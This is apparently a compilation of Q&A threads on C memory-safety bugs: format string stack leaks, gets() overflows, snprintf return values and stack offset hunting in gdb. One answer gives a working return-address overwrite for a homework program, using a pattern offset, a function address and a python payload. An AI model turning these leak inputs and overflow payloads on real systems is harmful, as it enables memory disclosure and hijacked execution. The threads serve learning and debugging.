I came across this code showing format string exploitation while reading this article.
#include <stdio.h>
int main(void)
{
char secret[]="hack.se is lame";
char buffer[512];
char target[512];
printf("secret = %pn",&secret);
fgets(buffer,512,stdin);
snprintf(target,512,buffer);
printf("%s",target);
}
Executing it with following input
[root#knark]$ ./a.out
secret = 0xbffffc68
AAAA%x %x %x %x %x %x %x //Input given
AAAA4013fe20 0 0 0 41414141 33313034 30326566
- [root#knark]$
What I understand till now is the sequence of %x's will keep on printing the values at addresses above current %esp (I'm assuming that stack is growing downwards towards lower address).
What I'm unable to understand is the input given is stored in buffer array which can't be less than 512 bytes away from current %esp. So, how can the output contain 41414141 (the hex representation of AAAA) just after the 4 %x, i.e, just above the 4 addresses of current %esp. I tried hard to stare at assembly code too but I think I couldn't follow the manipulation of strings on stack.
On entry to snprintf, the stack has the following:
0xbfd257d0: 0xxxxxxxxx 0xxxxxxxxx 0xxxxxxxxx 0x080484d5
0xbfd257e0: 0xbfd25800 0x00000200 0xbfd25a00 0x00000000
0xbfd257f0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd25800: 0x00000000 0x00000040 0xb7f22f2c 0x00000000
0xbfd25810: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd25800 -> target (initially 0x00000000 0x00000040 ...)
... -> garbage
0xbfd257e8 -> pointer to buffer
0xbfd257e4 -> 512
0xbfd257e0 -> pointer to target
0xbfd257df -> return address
target gets overwritten with the result of snprintf before snprintf gets to use its words as arguments: It first writes "AAAA" (0x41414141) at 0xbfd25800, then "%x" reads the value at 0xbfd257ec and writes it at 0xbfd25804, ..., then "%x" reads the value at 0xbfd25800 (0x41414141) and writes it at 0xbfd25814, ...
First of all, let's have a look at the stack after calling snprintf():
Reading symbols from /home/blackbear/a.out...done.
(gdb) run
Starting program: /home/blackbear/a.out
secret = 0xbffff40c
ABCDEF%x %x %x %x %x %x %x
Breakpoint 1, main () at prova.c:13
13 printf("%s",target);
(gdb) x/20x $esp
0xbfffeff0: 0xbffff00c 0x00000200 0xbffff20c 0x00155d7c
0xbffff000: 0x00155d7c 0x000000f0 0x000000f0 0x44434241
0xbffff010: 0x35314645 0x63376435 0x35353120 0x20633764
0xbffff020: 0x66203066 0x34342030 0x32343334 0x33203134
0xbffff030: 0x34313335 0x20353436 0x37333336 0x35333436
(gdb)
We can actually see, at 0xbffff00c, the string already formatted, so sprintf() wrote right there. We can also see, at 0xbfffeff0, the last argument for snprintf(): target's address, which is actually 0xbffff00c.
So I can deduce that strings are saved from the end to the beginning of their allocated space on the stack, as we can also see adding a strcpy():
blackbear#blackbear-laptop:~$ cat prova.c
#include <stdio.h>
#include <string.h>
int main(void)
{
char secret[]="hack.se is lame";
char buffer[512];
char target[512];
printf("secret = %p\n", &secret);
strcpy(target, "ABCDEF");
fgets(buffer,512,stdin);
snprintf(target,512,buffer);
printf("%s",target);
}
blackbear#blackbear-laptop:~$ gcc prova.c -g
prova.c: In function ‘main’:
prova.c:14: warning: format not a string literal and no format arguments
prova.c:14: warning: format not a string literal and no format arguments
blackbear#blackbear-laptop:~$ gdb ./a.out -q
Reading symbols from /home/blackbear/a.out...done.
(gdb) break 13
Breakpoint 1 at 0x8048580: file prova.c, line 13.
(gdb) run
Starting program: /home/blackbear/a.out
secret = 0xbffff40c
Breakpoint 1, main () at prova.c:13
13 fgets(buffer,512,stdin);
(gdb) x/10x $esp
0xbfffeff0: 0xbffff00c 0x080486bd 0x00000007 0x00155d7c
0xbffff000: 0x00155d7c 0x000000f0 0x000000f0 0x44434241
0xbffff010: 0x00004645 0x00000004
(gdb)
That's it! In conclusion, we've found the string there because strings are stored on the stack in a reversed way, and the beginning (or the end?) of target is near esp.
Related
I am reading a book, Hacking: The Art of Exploitation 2nd Edition, and I'm at the chapter of format string vulnerability. I read the chapter multiple times but I'm unable to clearly understand it, even with some googling.
So, in the book there is this vulnerable code:
char text[1024];
...
strcpy(text, argv[1]);
printf("The right way to print user-controlled input:\n");
printf("%s", text);
printf("\nThe wrong way to print user-controlled input:\n");
printf(text);
Then after compiling,
reader#hacking:~/booksrc $ ./fmt_vuln $(perl -e 'print "%08x."x40')
The right way to print user-controlled input:
%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
%08x.%08x.
The wrong way to print user-controlled input:
bffff320.b7fe75fc.00000000.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252
e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.2
52e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e78
38.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.
The bytes 0x25, 0x30, 0x38, 0x78, and 0x2e seem to be repeating a lot.
reader#hacking:~/booksrc $ printf "\x25\x30\x38\x78\x2e\n"
%08x.
First, why is that value repeating itself?
As you can see, they’re the memory for the format string itself. Because
the format function will always be on the highest stack frame, as long as the
format string has been stored anywhere on the stack, it will be located below
the current frame pointer (at a higher memory address).
But it seems to me this contradicts what he previously wrote and the way stack frames are organized
When this printf() function is called (as with any function), the arguments are pushed to the stack in reverse order.
So, shouldn't the format string be at a lower memory address since it is the first argument? And where is the format string stored?
reader#hacking:~/booksrc $ ./fmt_vuln AAAA%08x.%08x.%08x.%08x
The right way to print user-controlled input:
AAAA%08x.%08x.%08x.%08x
The wrong way to print user-controlled input:
AAAAbffff3d0.b7fe75fc.00000000.41414141
Here again, why is AAAA repeated in 41414141. From what I understand, the printf function prints AAAA first, then when it sees the first %08x, it gets a value from a memory address in the preceding stack frame, then does the same with the second %08x, thus the value of the second is located in a memory address higher than the first one, and finally returns to the value of AAAA located in a lower memory address, in the stack frame of printf function.
I debugged the first example with $(perl -e 'print "%08x."x40') as argument. I run: Linux 5.3.0-40-generic, 18.04.1-Ubuntu, x86_64
(gdb) run $(perl -e 'print "%08x." x 40')
Starting program: /home/kuro/fmt_vuln $(perl -e 'print "%08x." x 40')
The right way to print user-controlled input:
%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
The wrong way to print user-controlled input:
07a51260.4b3eb8c0.4b10e154.00000000.4b16c3a0.9d357fc8.9d357b10.78383025.30252e78.2e783830.3830252e.252e7838.78383025.30252e78.2e783830.3830252e.252e7838.78383025.30252e78.2e783830.3830252e.252e7838.78383025.30252e78.2e783830.3830252e.252e7838.78383025.30252e78.2e783830.3830252e.252e7838.4b618d00.4b5fd000.00000000.9d357c80.00000000.00000000.00000000.4b3ef6f0.
Breakpoint 1, main (argc=2, argv=0x7ffd9d357fc8) at fmt_vuln.c:19
19 printf("[*] test_val # 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
(gdb) x/-100xw $rsp
0x7ffd9d357940: 0x00000400 0x00000000 0x4b07c1aa 0x00007fb8
0x7ffd9d357950: 0x00000016 0x00000000 0x00000003 0x00000000
0x7ffd9d357960: 0x00000001 0x00000000 0x00002190 0x000003e8
0x7ffd9d357970: 0x00000005 0x00000000 0x00008800 0x00000000
0x7ffd9d357980: 0x00000000 0x00000000 0x00000400 0x00000000
0x7ffd9d357990: 0x00000000 0x00000000 0x5e970730 0x00000000
0x7ffd9d3579a0: 0x65336234 0x30663666 0x90890300 0x79e57be9
0x7ffd9d3579b0: 0x1cd79dbf 0x00000000 0x00000000 0x00000000
0x7ffd9d3579c0: 0x05cec660 0x000055ef 0x9d357fc0 0x00007ffd
0x7ffd9d3579d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffd9d3579e0: 0x9d357ee0 0x00007ffd 0x4b062f26 0x00007fb8
0x7ffd9d3579f0: 0x00000030 0x00000030 0x9d357be8 0x00007ffd
0x7ffd9d357a00: 0x9d357a10 0x00007ffd 0x90890300 0x79e57be9
0x7ffd9d357a10: 0x4b3ea760 0x00007fb8 0x07a51260 0x000055ef
0x7ffd9d357a20: 0x4b3eb8c0 0x00007fb8 0x4b0891bd 0x00007fb8
0x7ffd9d357a30: 0x00000000 0x00000000 0x4b3ea760 0x00007fb8
0x7ffd9d357a40: 0x00000d68 0x00000000 0x00000169 0x00000000
0x7ffd9d357a50: 0x07a51260 0x000055ef 0x4b08af51 0x00007fb8
0x7ffd9d357a60: 0x4b3e62a0 0x00007fb8 0x4b3ea760 0x00007fb8
0x7ffd9d357a70: 0x0000000a 0x00000000 0x05cec660 0x000055ef
0x7ffd9d357a80: 0x9d357fc0 0x00007ffd 0x00000000 0x00000000
0x7ffd9d357a90: 0x00000000 0x00000000 0x4b08b403 0x00007fb8
0x7ffd9d357aa0: 0x4b3ea760 0x00007fb8 0x9d357ee0 0x00007ffd
0x7ffd9d357ab0: 0x05cec660 0x000055ef 0x4b0808f5 0x00007fb8
0x7ffd9d357ac0: 0x00000000 0x00000000 0x05cec824 0x000055ef
(gdb) x/100xw $rsp
0x7ffd9d357ad0: 0x9d357fc8 0x00007ffd 0x9d357b10 0x00000002
0x7ffd9d357ae0: 0x78383025 0x3830252e 0x30252e78 0x252e7838
0x7ffd9d357af0: 0x2e783830 0x78383025 0x3830252e 0x30252e78
0x7ffd9d357b00: 0x252e7838 0x2e783830 0x78383025 0x3830252e
0x7ffd9d357b10: 0x30252e78 0x252e7838 0x2e783830 0x78383025
0x7ffd9d357b20: 0x3830252e 0x30252e78 0x252e7838 0x2e783830
0x7ffd9d357b30: 0x78383025 0x3830252e 0x30252e78 0x252e7838
0x7ffd9d357b40: 0x2e783830 0x78383025 0x3830252e 0x30252e78
0x7ffd9d357b50: 0x252e7838 0x2e783830 0x78383025 0x3830252e
0x7ffd9d357b60: 0x30252e78 0x252e7838 0x2e783830 0x78383025
0x7ffd9d357b70: 0x3830252e 0x30252e78 0x252e7838 0x2e783830
0x7ffd9d357b80: 0x78383025 0x3830252e 0x30252e78 0x252e7838
0x7ffd9d357b90: 0x2e783830 0x78383025 0x3830252e 0x30252e78
0x7ffd9d357ba0: 0x252e7838 0x2e783830 0x4b618d00 0x00007fb8
0x7ffd9d357bb0: 0x4b5fd000 0x00007fb8 0x00000000 0x00000000
0x7ffd9d357bc0: 0x9d357c80 0x00007ffd 0x00000000 0x00000000
0x7ffd9d357bd0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffd9d357be0: 0x4b3ef6f0 0x00007fb8 0x4b6184c8 0x00007fb8
0x7ffd9d357bf0: 0x9d357c80 0x00007ffd 0x4b3ef000 0x00007fb8
0x7ffd9d357c00: 0x4b3ef914 0x00007fb8 0x4b3ef3c0 0x00007fb8
0x7ffd9d357c10: 0x4b617048 0x00007fb8 0x00000000 0x00000000
0x7ffd9d357c20: 0x00000000 0x00000000 0x4b6179f0 0x00007fb8
0x7ffd9d357c30: 0x4b0030e8 0x00007fb8 0x00000000 0x00000000
0x7ffd9d357c40: 0x4b3efa00 0x00007fb8 0x00000480 0x00000000
0x7ffd9d357c50: 0x00000027 0x00000000 0x00000000 0x00000000
The values, that appear before "%08x." in the Wrong way output, appear in lower addresses than "%08x." values. Why? The format string is supposed to be at the top of the stack.
The values, that appear after the "%08x." values in the Wrong way output, appear in higher addresses than"%08x." values. So in the preceding stack.
Why is it like this? Shouldn't the output begin from the format string values, or after?
Also, in the book, it doesn't print values after "%08x." values. But some are printed in my case. And some values in the output don't even figure in the stack, like 4b16c3a0.
I have to recommend against what you're doing. You're focussing on security vulnerabilities in C without a strong understanding of the language itself. That's an exercise in frustration. As evidence, I offer that every question you're posing about the exercise is answered by understanding printf(3), not stack vulnerabilities.
The output of your perl line (the contents of argv[1]) starts with, %08x.%08x.%08x.%08x.%08x. Thats a format string. Each %08x is looking for a further printf argument, an integer to print in hex representation. Normally, you might do something like,
int a = 'B';
printf( "%02x\n", a );
which produces 42 much faster than the computer in the Hitchhiker's Guide to the Galaxy.
What you've done is pass a long format string with zero arguments. printf(3) can't know how many arguments it was passed; it has to infer them from the format string. Your format string tells printf to print a long list of integers. Since none were provided, it looks for them "up the stack" (wherever they should have been). You print nonsense because the contents of those memory locations is unpredictable. Or, at any rate, weren't defined by you.
In the "good" case, the format string is "%s", declaring one argument of type string, which you provided. That works much better, yes.
Most compilers nowadays take special care with printf. They can produce warnings if the format string isn't a compile-time constant, and they can verify that each argument is of the correct type for its corresponding format specifier. The whole chapter in your book can thus be made moot simply by using the compiler's capabilities and paying attention to its diagnostics.
Everything I read leads me to believe that this should cause a stack buffer overflow, but it does not:
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
char password[8];
int correctPassword = 0;
printf("Password \n");
gets(password);
if(strcmp(password, "password"))
{
printf ("Wrong password entered, root privileges not granted... \n");
}
else
{
correctPassword = 1;
}
if(correctPassword)
{
printf ("Root privileges given to the user \n");
}
return 0;
}
But here is my output:
in this case, testtesttesttesttest is clearly larger than 8 characters, and, according to the source, it should cause a stack buffer overflow, but it does not. Why is this?
Reading more bytes then your buffer can contain won't always lead to a run-time error but it's a very bad and common error (read this article about smashing the stack). As I read from comments you added -fno-stack-protector to get the program to not print * stack smashing detected * but that's not a good idea. You should use scanf(" %8s",password) or something similar to limit the dimension of what you read.
Your code does cause a buffer overflow on the stack, in the sense that you have overwritten the allocated memory for the password buffer. Behold the memory that has been overwritten after you provide the input.
gcc -o Overflow Overflow.c -fno-stack-protector -g
gdb Overflow
(gdb) b 8
Breakpoint 1 at 0x4005cc: file Overflow.c, line 8.
(gdb) b 11
Breakpoint 2 at 0x4005e2: file Overflow.c, line 11.
(gdb) r
Starting program: /home/hq6/Code/SO/C/Overflow
Breakpoint 1, main (argc=1, argv=0x7fffffffde08) at Overflow.c:8
8 printf("Password \n");
(gdb) x/20x password
# Memory before overflow
0x7fffffffdd10: 0xffffde00 0x00007fff 0x00000000 0x00000000
0x7fffffffdd20: 0x00400630 0x00000000 0xf7a2e830 0x00007fff
0x7fffffffdd30: 0x00000000 0x00000000 0xffffde08 0x00007fff
0x7fffffffdd40: 0xf7ffcca0 0x00000001 0x004005b6 0x00000000
0x7fffffffdd50: 0x00000000 0x00000000 0x67fbace7 0x593e0a93
(gdb) c
Continuing.
Password
correctPassword
Breakpoint 2, main (argc=1, argv=0x7fffffffde08) at Overflow.c:11
11 if(strcmp(password, "password"))
(gdb) x/20x password
# Memory after overflow
0x7fffffffdd10: 0x72726f63 0x50746365 0x77737361 0x0064726f
0x7fffffffdd20: 0x00400630 0x00000000 0xf7a2e830 0x00007fff
0x7fffffffdd30: 0x00000000 0x00000000 0xffffde08 0x00007fff
0x7fffffffdd40: 0xf7ffcca0 0x00000001 0x004005b6 0x00000000
0x7fffffffdd50: 0x00000000 0x00000000 0x67fbace7 0x593e0a93
Whether or not a buffer overflow has undesirable side effects is undefined behavior.
I have a homework assignment to exploit a buffer overflow in the given program.
#include <stdio.h>
#include <stdlib.h>
int oopsIGotToTheBadFunction(void)
{
printf("Gotcha!\n");
exit(0);
}
int goodFunctionUserInput(void)
{
char buf[12];
gets(buf);
return(1);
}
int main(void)
{
goodFunctionUserInput();
printf("Overflow failed\n");
return(1);
}
The professor wants us to exploit the input gets(). We are not suppose to modify the code in any way, only create a malicious input that will create a buffer overflow. I've looked online but I am not sure how to go about doing this. I'm using gcc version 5.2.0 and Windows 10 version 1703. Any tips would be great!
Update:
I have looked up some tutorials and at least found the address for the hidden function I am trying to overflow into, but I am now stuck. I have been trying to run these commands:
gcc -g -o vuln -fno-stack-protector -m32 homework5.c
gdb ./vuln
disas main
break *0x00010880
run $(python -c "print('A'*256)")
x/200xb $esp
With that last command, it comes up saying "Value can't be converted to integer." I tried replacing esp to rsp because I am on a 64-bit but that came up with the same result. Is there a work around to this or another way to find the address of buf?
Since buf is pointing to an array of characters that are of length 12, inputing anything with a length greater than 12 should result in buffer overflow.
First, you need to find the offset to overwrite the Instruction pointer register (EIP).
Use gdb + peda is very useful:
$ gdb ./bof
...
gdb-peda$ pattern create 100 input
Writing pattern of 100 chars to filename "input"
...
gdb-peda$ r < input
Starting program: /tmp/bof < input
...
=> 0x4005c8 <goodFunctionUserInput+26>: ret
0x4005c9 <main>: push rbp
0x4005ca <main+1>: mov rbp,rsp
0x4005cd <main+4>: call 0x4005ae <goodFunctionUserInput>
0x4005d2 <main+9>: mov edi,0x40067c
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe288 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffe290 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffe298 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0x7fffffffe2a0 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0032| 0x7fffffffe2a8 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0040| 0x7fffffffe2b0 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0048| 0x7fffffffe2b8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0056| 0x7fffffffe2c0 ("AJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004005c8 in goodFunctionUserInput ()
gdb-peda$ patts
Registers contain pattern buffer:
R8+0 found at offset: 92
R9+0 found at offset: 56
RBP+0 found at offset: 16
Registers point to pattern buffer:
[RSP] --> offset 24 - size ~76
[RSI] --> offset 0 - size ~100
....
Now, you can overwrite the EIP register, the offset is 24 bytes. As in your homework just need print the "Gotcha!\n" string. Just jump to oopsIGotToTheBadFunction function.
Get the function address:
$ readelf -s bof
...
50: 0000000000400596 24 FUNC GLOBAL DEFAULT 13 oopsIGotToTheBadFunction
...
Make the exploit and got the results:
[manu#debian /tmp]$ python -c 'print "A"*24+"\x96\x05\x40\x00\x00\x00\x00\x00"' > input
[manu#debian /tmp]$ ./bof < input
Gotcha!
I was writing my own ncurses library and suddenly I found in GDB that snprintf() returned length larger than I specified. Is this defined behaviour or some mistake of mine ? The (reproducible) snippet code is this:
niko: snippets $ cat snprintf.c
#include <unistd.h>
#include <stdio.h>
char *example_string="This is a very long label. It was created to test alignment functions of VERTICAL and HORIZONTAL layout";
void snprintf_test(void) {
char tmp[72];
char fmt[32];
int len;
unsigned short x=20,y=30;
snprintf(fmt,sizeof(fmt),"\033[%%d;%%dH\033[0m\033[48;5;%%dm%%%ds",48);
len=snprintf(tmp,sizeof(tmp),fmt,y,x,0,example_string);
write(STDOUT_FILENO,tmp,len);
}
int main(void) {
snprintf_test();
}
niko: snippets $
Now we compile with debugging info and run:
niko: snippets $ gcc -g -o snprintf snprintf.c
niko: snippets $ gdb ./snprintf -ex "break snprintf_test" -ex run
.....
Reading symbols from ./snprintf...done.
Breakpoint 1 at 0x40058e: file snprintf.c, line 10.
Starting program: /home/deptrack/depserv/snippets/snprintf
Breakpoint 1, snprintf_test () at snprintf.c:10
10 unsigned short x=20,y=30;
Missing separate debuginfos, use: dnf debuginfo-install glibc-2.22-16.fc23.x86_64
(gdb) s
12 snprintf(fmt,sizeof(fmt),"\033[%%d;%%dH\033[0m\033[48;5;%%dm%%%ds",48);
(gdb) print sizeof(fmt)
$1 = 32
(gdb) print sizeof(tmp)
$2 = 72
(gdb) s
13 len=snprintf(tmp,sizeof(tmp),fmt,y,x,0,example_string);
(gdb) print fmt
$3 = "\033[%d;%dH\033[0m\033[48;5;%dm%48s\000\000\000\000\000"
(gdb) print example_string
$4 = 0x4006c0 "This is a very long label. It was created to test alignment functions of VERTICAL and HORIZONTAL layout"
(gdb) s
14 write(STDOUT_FILENO,tmp,len);
(gdb) print len
$5 = 124
(gdb) print sizeof(tmp)
$6 = 72
(gdb)
The program outputs garbage at the end of the string. As you can see, the len variable returned from snprintf() is indicating that function has printed more than the allowed size of 72. Is this a bug or my mistake? If this behaviour is defined, then why snprintf() docs say it will print at most n characters. Very misleading and bug prone statement. I will have to write my own snprintf() to solve this problem.
Actually (from "man snprintf"):
If the output was
truncated due to this limit then the return value is the number of
characters (excluding the terminating null byte) which would have been
written to the final string if enough space had been available.
I am trying to exploit the following program :
#include <string.h>
int main(int argc, char *argv[]) {
char little_array[512];
if (argc > 1)
strcpy(little_array, argv[1]);
}
I want to first find the buffer length in order to overflow the stack so I use
(gdb) x/20xw $esp-532
0xffffcda8: 0x00000001 0x00000000 0x41414141 0x41414141
0xffffcdb8: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcdc8: 0x00000041 0xf7fe6b8c 0xf7ffd000 0x00000000
0xffffcdd8: 0xffffce98 0xf7fe70db 0xf7ffdaf0 0xf7fd8e08
0xffffcde8: 0x00000001 0x00000001 0x00000000 0xf7ff55ac
(gdb)
And I find the address (since I ran 'AAAA'), so the address is 0xffffcdaa .
Im running a 64bit system, disabled ASLR.
And I defined the buffer 512 bytes long.
And I get
(gdb) p 0xffffddf0 - 0xffffcdaa
$1 = 4166
(gdb)
How can this be? It has something to do with my 64bit system? Im trying to follow an old book and cant really find anything better.
I used this program to find the starting point
// find_start.c
unsigned long find_start(void)
{
__asm__("movl %esp, %eax");
}
int main()
{
printf("0x%x\n",find_start());
}
(when this program compiled with the -m32 flag the output of it gives me a starting point that gives me a little better result, 574, but still is too far)